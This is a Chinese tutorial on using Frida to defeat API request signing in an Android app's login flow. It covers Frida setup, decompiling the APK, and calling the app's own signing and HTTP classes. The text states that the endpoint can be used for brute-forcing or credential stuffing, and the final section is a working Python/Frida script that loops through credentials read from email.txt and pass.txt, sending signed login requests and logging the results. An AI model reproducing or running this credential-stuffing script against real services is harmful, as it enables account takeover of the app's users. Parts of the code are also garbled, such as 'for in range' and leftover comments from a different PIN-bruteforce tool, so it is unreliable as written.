在测试移动端APP时,经常碰到API签名的问题,修改参数后,API校验失败,无法正常测试。

本文以Frida为工具,以一个实际案例演示API签名之后的一种测试方法,欢迎补充。


安装


安装python端 

pip install frida


安装server端,以Android为例,下载frida-server

http://build.frida.re/frida/android/arm/bin/frida-server

部署到android虚拟机

adb push frida-server /data/local/tmp
adb shell
cd /data/local/tmp
chmod +x frida-server
./frida-server

端口转发

adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

测试

frida-ps -R

输出如下则正常

 PID NAME  61 adbd 586 android.process.acore
 465 android.process.media
 940 com.android.calendar
 961 com.android.deskclock
 810 com.android.dialer
 770 com.android.email
 888 frida-server2
 52 zygote


实际案例

在上节我们抓包做接口测试时,不需要用到frida或者xposed来hook一些api。 本节我们在测试接口时,可以抓包,修改数据包时,发现错误。app对通信请求 作了签名,修改参数值之后,由于签名不对,这样的请求就不会被后端执行, 因此我们需要研究如何对请求进行签名,然后才能进一步的测试。

这里以某APP为例,我们以登录请求为例,如下为一次登录请求

1
2
3
4
5
6
7
8
9
POST /user/login/v1 HTTP/1.1
Authorization: OAuth apiSign=1fb70a74c8e01a824d409e24661fd56b8721350e
Content-Length: 234
Content-Type: application/x-www-form-urlencoded
Host: *.*.*.*
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
 
apiKey=5f94ac3596754ed18f78d110aa2ffb71&deviceToken=0***da&password=96*****dd5&timestamp=143***339&userName=2**0&userToken=D***B


我们可以看到存在签名

Authorization: OAuth apiSign=1fb70a74c8e01a824d409e24661fd56b8721350e

当我们尝试修改数据包提交时,会返回签名错误的响应

{"code":"90004","msg":"签名错误"}

因此,我们需要找到生成签名的代码。尝试对我们修改后的请求作签名。


反编译

dex2jar test.apk

使用jd-gui.exe来查看,搜索apisign 

Frida使用案例之API签名

我们可以看到在URLGenerator中,makeSign函数来生成签名的。

Frida使用案例之API签名

这里有两种做法,一种是继续查看makeSign函数,搞清楚逻辑,然后自己就可以签名了。 这里我们使用另一种方法,通过frida来调用这些函数帮我们生成签名。

通过搜索Authorization,进一步分析,发现com.****.BaseHttpClient 会发送请求。GET请求比较简单,大家可以自行尝试。由于登录请求为POST,我们查看POST请求如何生成。

protected String doPost(URLGenerator paramURLGenerator)
  throws Exception
{  
   return doPost(paramURLGenerator, 30000, 0);
}

传入的参数为URLGenerator对象。分析知道addStringParam可以添加参数。
经过几次尝试之后,发现可以多次提交,这样我们就可以使用这个接口进行爆破或撞库了。

关键代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
jscode = """
 
Dalvik.perform(function () {
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
 
var context = currentApplication.getApplicationContext();
 
生成BaseHttpClient对象
    var AddressService = Dalvik.use("com.*****.common.BaseHttpClient");
 
    var ASInstance = AddressService.$new(context);
 
    var url="http://*.*.*.*/user/login/v1";
 
    var unameArray = new Array(%s);
    var passArray = new Array(%s);
 
    遍历撞库
for (var i=0; i <%s;i++){
 
    生成URLGenerator对象
    var URLG = Dalvik.use("com.*.*.common.URLGenerator");
    var UGInstance = URLG.$new(url);
    UGInstance.addStringParam("password",passArray[i]);
    UGInstance.addStringParam("userName",unameArray[i]);
 
 
    发送POST请求
    var result = ASInstance.doPost(UGInstance);
 
    返回值
    send(i+":"+unameArray[i]+":"+passArray[i]+" "+result);
}
 
 
});
""" % (uName, uPass, str(count))

抓包 

Frida使用案例之API签名

运行结果

Frida使用案例之API签名

最终的利用脚本,[缩进问题,自己调整]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf-8
 
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
 
import frida,sys
import hashlib
import logging
logging.basicConfig(filename='test.log',level=logging.INFO)
 
def print_result(message):
            print "[*] %s\n" %(message)
            logging.info("%s"%(message))
 
def on_message(message, data):
    try:
        print_result(message["payload"])
    except:
        pass
         
fp = open("email.txt","r")
fpcont = fp.readlines()
fp.close()
 
count = 99
start = 900
 
uName = ""
for in range(0,count):
    uName += '"' + fpcont[start+i].strip()+'",'
uName += '""'
 
 
fp = open("pass.txt","r")
fpcont = fp.readlines()
fp.close()
 
uPass = ""
for in range(0,count):
    uPass += '"' + str(hashlib.md5(fpcont[start+i].strip()).hexdigest())+'",'
uPass += '""'
 
 
 
jscode = """
 
Dalvik.perform(function () {
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
 
var context = currentApplication.getApplicationContext();
 
 
    var AddressService = Dalvik.use("com.***.common.BaseHttpClient");
 
    var ASInstance = AddressService.$new(context);
 
    var url="http://*.*****/user/login/v1";
 
var unameArray = new Array(%s);
var passArray = new Array(%s);
for (var i=0; i <%s;i++){
    var URLG = Dalvik.use("com.***.URLGenerator");
    var UGInstance = URLG.$new(url);
    UGInstance.addStringParam("password",passArray[i]);
    UGInstance.addStringParam("userName",unameArray[i]);
 
 
 
    var result = ASInstance.doPost(UGInstance);
    send(i+":"+unameArray[i]+":"+passArray[i]+" "+result);
}
 
 
});
""" % (uName, uPass, str(count))
 
process = frida.get_device_manager().enumerate_devices()[-1].attach("com.********")
print process
 
script = process.create_script(jscode)
script.on('message', on_message)
 
print "[*] Bruteforcing PIN code"
 
script.load()
sys.stdin.read()